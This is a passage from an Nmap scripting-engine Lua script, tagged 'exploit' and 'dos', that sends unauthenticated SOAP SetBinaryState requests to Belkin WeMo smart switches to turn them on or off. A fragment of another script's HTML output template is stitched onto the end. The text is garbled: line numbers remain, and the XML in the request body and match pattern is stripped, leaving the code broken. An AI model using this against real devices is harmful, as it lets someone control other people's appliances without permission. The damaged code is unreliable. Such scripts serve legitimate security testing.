author = "Pedro Joaquin " 39 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 40 | categories = {"exploit", "dos"} 41 | 42 | portrule = shortport.portnumber({49152,49153,49154}) 43 | 44 | local function WemoSwitch(host, port, BinaryState) 45 | local output = stdnse.output_table() 46 | local req = ''..BinaryState..'' 47 | local path = "/upnp/control/basicevent1" 48 | local options = {header={["SOAPACTION"]='"urn:Belkin:service:basicevent:1#SetBinaryState"', ["Content-Type"]="text/xml"}} 49 | local result = http.post( host, port, path, options, nil, req) 50 | stdnse.debug1("Status : %s", result['status-line'] or "No Response") 51 | if(result['status'] ~= 200 or result['content-length'] == 0) then 52 | stdnse.debug1("Status : %s", result['status-line'] or "No Response") 53 | return nil, "Couldn't open: " .. path 54 | else 55 | output["BinaryState"] = result['body']:match("([^<]*)") 56 | if output["BinaryState"] == "Error" then 57 | output["BinaryState"] = BinaryState 58 | end 59 | local bstate="Switch is currently turned" 60 | if output["BinaryState"] == "1" then 61 | output[bstate] = "ON" 62 | else 63 | output[bstate] = "OFF" 64 | end 65 | return output 66 | end 67 | end 68 | 69 | action = function(host,port) 70 | local BinaryState = stdnse.get_script_args('wemo-switch.BinaryState') 71 | if BinaryState == nil then 72 | return nil, "You have to specify --script-args BinaryState=1" 73 | else 74 | return WemoSwitch(host, port, BinaryState) 75 | end 76 | end 77 | --------------------------------------------------------------------------------
IPmirrorstatussizedeviceserverwww-authenticate header
'.. port.service ..'://' .. host.ip ..':' .. port.number ..'
http://' .. host.ip ..':' .. port.number ..'[mirror]['.. siexiste(query.status) ..'] '.. string.len(siexiste(query.body)) ..' B'.. siexiste(categoria(serverstring)) ..'  '.. siexiste(query.header['server']) ..'  '.. siexiste(query.header['www-authenticate']) ..'